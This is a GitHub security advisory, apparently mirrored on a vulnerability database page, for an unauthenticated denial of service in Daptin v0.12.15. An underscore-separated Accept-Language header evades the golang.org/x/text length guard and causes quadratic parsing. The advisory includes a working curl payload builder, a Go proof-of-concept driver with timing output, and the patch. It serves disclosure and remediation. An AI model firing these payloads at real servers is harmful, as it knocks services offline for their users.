GHSA-RHJ7-VH3V-MCQ6
Vulnerability from github – Published: 2026-10-29 16:33 – Updated: 2026-10-29 16:33Summary
Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.
Affected versions
github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:
- the official release binary
daptin-linux-amd64v0.12.15 built into a Docker image from the project's ownDockerfile(E2E below) masterat commitb021ac4ae1f72b7401e851fcf883bc970303c794by readingserver/language.go(the middleware is unchanged)
Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated /api style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.
Vulnerable code
server/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
func GetLanguagePreference(header string, defaultLanguage string) []string {
preferredLanguage := header
if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
preferredLanguage = defaultLanguage
}
languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
pref := make([]string, 0)
prefMap := make(map[string]bool)
if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
// single tag matches default — skip
} else {
for _, tag := range languageTags {
base, conf := tag.Base()
if conf == 0 {
continue
}
if prefMap[base.String()] == true {
continue
}
prefMap[base.String()] = true
pref = append(pref, base.String())
}
}
return pref
}
c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
Every HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:
- The request enters
LanguageMiddlewareFunc. c.GetHeader("Accept-Language")returns the full attacker-supplied header value.GetLanguagePreference(header, defaultLanguage)is called.- The function passes the unfiltered header into
language.ParseAcceptLanguage(preferredLanguage).
No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at / and the public API root at /api.
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:
# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .
# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8 # wait for sqlite migrations + Olric ring
# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18888/
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against daptin-linux-amd64 v0.12.15)
A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18888/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 120 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
send("attack ('_' x 256KiB)", buildPayload("_", 256*1024))
send("attack repeat 2", buildPayload("_", 256*1024))
send("attack repeat 3", buildPayload("_", 256*1024))
}
Captured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
daptin/daptin v0.12.15 LanguageMiddleware at
server/language.go.
Target: http://127.0.0.1:18888/ payload=262144 B
warm-up header=0 B '_'=0 '-'=0 status=200 t=19.968ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=25.924208ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=28.398333ms
guard-fires control ('-' x 256KiB) header=262142 B '_'=0 '-'=26214 status=200 t=105.506458ms
attack ('_' x 256KiB) header=262142 B '_'=26214 '-'=0 status=200 t=26.679448875s
attack repeat 2 header=262142 B '_'=26214 '-'=0 status=200 t=18.012964208s
attack repeat 3 header=262142 B '_'=26214 '-'=0 status=200 t=8.868606042s
A separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 26 - 28 ms |
256 KiB - separators (CVE-2022-32149 guard fires) |
256 KiB | 106 ms |
256 KiB _ separators (guard bypassed) |
256 KiB | 9 - 27 s |
1 MiB _ separators (guard bypassed) |
1 MiB | > 120 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB - payload returns in 106 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and >1000x on a 1 MiB payload.
The amplification is higher than other consumers of ParseAcceptLanguage because Daptin formats the entire input into a log line via resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage) when parsing fails, and runs additional bookkeeping in GetLanguagePreference (a prefMap deduplication loop over the resulting tag slice).
Impact
- One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.
- A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.
- A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
Suggested fix
Apply the size / character-class filter inside LanguageMiddleware (and inside GetLanguagePreference for defence in depth) before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// server/language.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
header := c.GetHeader("Accept-Language")
if strings.Count(header, "-")+strings.Count(header, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
header = ""
}
pref := GetLanguagePreference(header, lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Credit
Reported by tonghuaroot.
Fix PR
https://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1
Maintainer fix status
Fixed on master in commit 2d709509 Harden Accept-Language parsing.
The fix caps combined - and _ separators in Accept-Language before calling language.ParseAcceptLanguage, both in LanguageMiddlewareFunc and in GetLanguagePreference for defence in depth. Regression coverage was added in server/language_test.go for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.
Verification run:
go test ./server -count=1
Result: passed.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/daptin/daptin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.12.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62160"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-29T16:33:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nDaptin\u0027s `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.\n\n### Affected versions\n\n`github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project\u0027s own `Dockerfile` (E2E below)\n- `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged)\n\n### Privilege required\n\nUnauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.\n\n### Vulnerable code\n\n[`server/language.go`](https://github.com/daptin/daptin/blob/b021ac4ae1f72b7401e851fcf883bc970303c794/server/language.go) (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`):\n\n```go\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n pref := GetLanguagePreference(c.GetHeader(\"Accept-Language\"), lm.defaultLanguage)\n c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n\nfunc GetLanguagePreference(header string, defaultLanguage string) []string {\n preferredLanguage := header\n\n if preferredLanguage == \"\" || preferredLanguage == \"undefined\" || preferredLanguage == \"null\" {\n preferredLanguage = defaultLanguage\n }\n\n languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)\n resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)\n pref := make([]string, 0)\n prefMap := make(map[string]bool)\n\n if len(languageTags) == 1 \u0026\u0026 languageTags[0].String() == defaultLanguage {\n // single tag matches default \u2014 skip\n } else {\n for _, tag := range languageTags {\n base, conf := tag.Base()\n if conf == 0 {\n continue\n }\n if prefMap[base.String()] == true {\n continue\n }\n prefMap[base.String()] = true\n pref = append(pref, base.String())\n }\n }\n return pref\n}\n```\n\n`c.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nEvery HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is:\n\n1. The request enters `LanguageMiddlewareFunc`.\n2. `c.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `GetLanguagePreference(header, defaultLanguage)` is called.\n4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`.\n\nNo size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler \u2014 including the unauthenticated landing page at `/` and the public API root at `/api`.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project\u0027s own Dockerfile:\n\n```bash\n# Build daptin image (uses prebuilt linux/amd64 release binary)\ncd daptin\ncurl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64\nchmod +x daptin-linux-amd64\ndocker build --platform linux/amd64 -t daptin-poc:v0.12.15 .\n\n# Start it\ndocker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15\nsleep 8 # wait for sqlite migrations + Olric ring\n\n# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling\n# because daptin\u0027s per-request cost saturates well below 1 MiB)\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 25600, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18888/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `daptin-linux-amd64` v0.12.15)\n\nA Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18888/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 120 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 256KiB)\", buildPayload(\"-\", 256*1024))\n send(\"attack (\u0027_\u0027 x 256KiB)\", buildPayload(\"_\", 256*1024))\n send(\"attack repeat 2\", buildPayload(\"_\", 256*1024))\n send(\"attack repeat 3\", buildPayload(\"_\", 256*1024))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64 host, daptin amd64 binary v0.12.15 running under Docker Desktop with QEMU x86_64 emulation):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\ndaptin/daptin v0.12.15 LanguageMiddleware at\nserver/language.go.\n\nTarget: http://127.0.0.1:18888/ payload=262144 B\n\n warm-up header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=19.968ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=25.924208ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=28.398333ms\n guard-fires control (\u0027-\u0027 x 256KiB) header=262142 B \u0027_\u0027=0 \u0027-\u0027=26214 status=200 t=105.506458ms\n attack (\u0027_\u0027 x 256KiB) header=262142 B \u0027_\u0027=26214 \u0027-\u0027=0 status=200 t=26.679448875s\n attack repeat 2 header=262142 B \u0027_\u0027=26214 \u0027-\u0027=0 status=200 t=18.012964208s\n attack repeat 3 header=262142 B \u0027_\u0027=26214 \u0027-\u0027=0 status=200 t=8.868606042s\n```\n\nA separate run with a 1 MiB payload exceeded the 2-minute client timeout on the attack request, confirming that the cost scales beyond 120 s per request at 1 MiB.\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 26 - 28 ms |\n| 256 KiB `-` separators (CVE-2022-32149 guard fires) | 256 KiB | 106 ms |\n| 256 KiB `_` separators (guard bypassed) | 256 KiB | 9 - 27 s |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | \u003e 120 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 256 KiB `-` payload returns in 106 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes 9-27 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~85-250x on the 256 KiB payload and \u003e1000x on a 1 MiB payload.\n\nThe amplification is higher than other consumers of `ParseAcceptLanguage` because Daptin formats the entire input into a log line via `resource.CheckErr(err, \"Failed to parse Accept-Language header [%v]\", preferredLanguage)` when parsing fails, and runs additional bookkeeping in `GetLanguagePreference` (a `prefMap` deduplication loop over the resulting tag slice).\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~9-27 seconds per 256 KiB request, or for at least 120 seconds per 1 MiB request.\n- A single attacker on a 1 Mbit/s uplink can sustain ~1 attack request every 30 seconds, pinning one server core continuously with one TCP connection.\n- A small number of concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Daptin instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n\n### Suggested fix\n\nApply the size / character-class filter inside `LanguageMiddleware` (and inside `GetLanguagePreference` for defence in depth) before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// server/language.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {\n header := c.GetHeader(\"Accept-Language\")\n if strings.Count(header, \"-\")+strings.Count(header, \"_\") \u003e maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n header = \"\"\n }\n pref := GetLanguagePreference(header, lm.defaultLanguage)\n c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), \"language_preference\", pref))\n}\n```\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/daptin/daptin-ghsa-rhj7-vh3v-mcq6/pull/1\n\n### Maintainer fix status\n\nFixed on `master` in commit `2d709509 Harden Accept-Language parsing`.\n\nThe fix caps combined `-` and `_` separators in `Accept-Language` before calling `language.ParseAcceptLanguage`, both in `LanguageMiddlewareFunc` and in `GetLanguagePreference` for defence in depth. Regression coverage was added in `server/language_test.go` for normal browser headers, a 256 KiB underscore-separated malformed header, and combined separator counting.\n\nVerification run:\n\n```bash\ngo test ./server -count=1\n```\n\nResult: passed.",
"id": "GHSA-rhj7-vh3v-mcq6",
"modified": "2026-10-29T16:33:09Z",
"published": "2026-10-29T16:33:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/daptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6"
},
{
"type": "PACKAGE",
"url": "https://github.com/daptin/daptin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Daptin: ParseAcceptLanguage `_` separator bypass enables \u003e250x CPU amplification via Accept-Language header in LanguageMiddleware"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.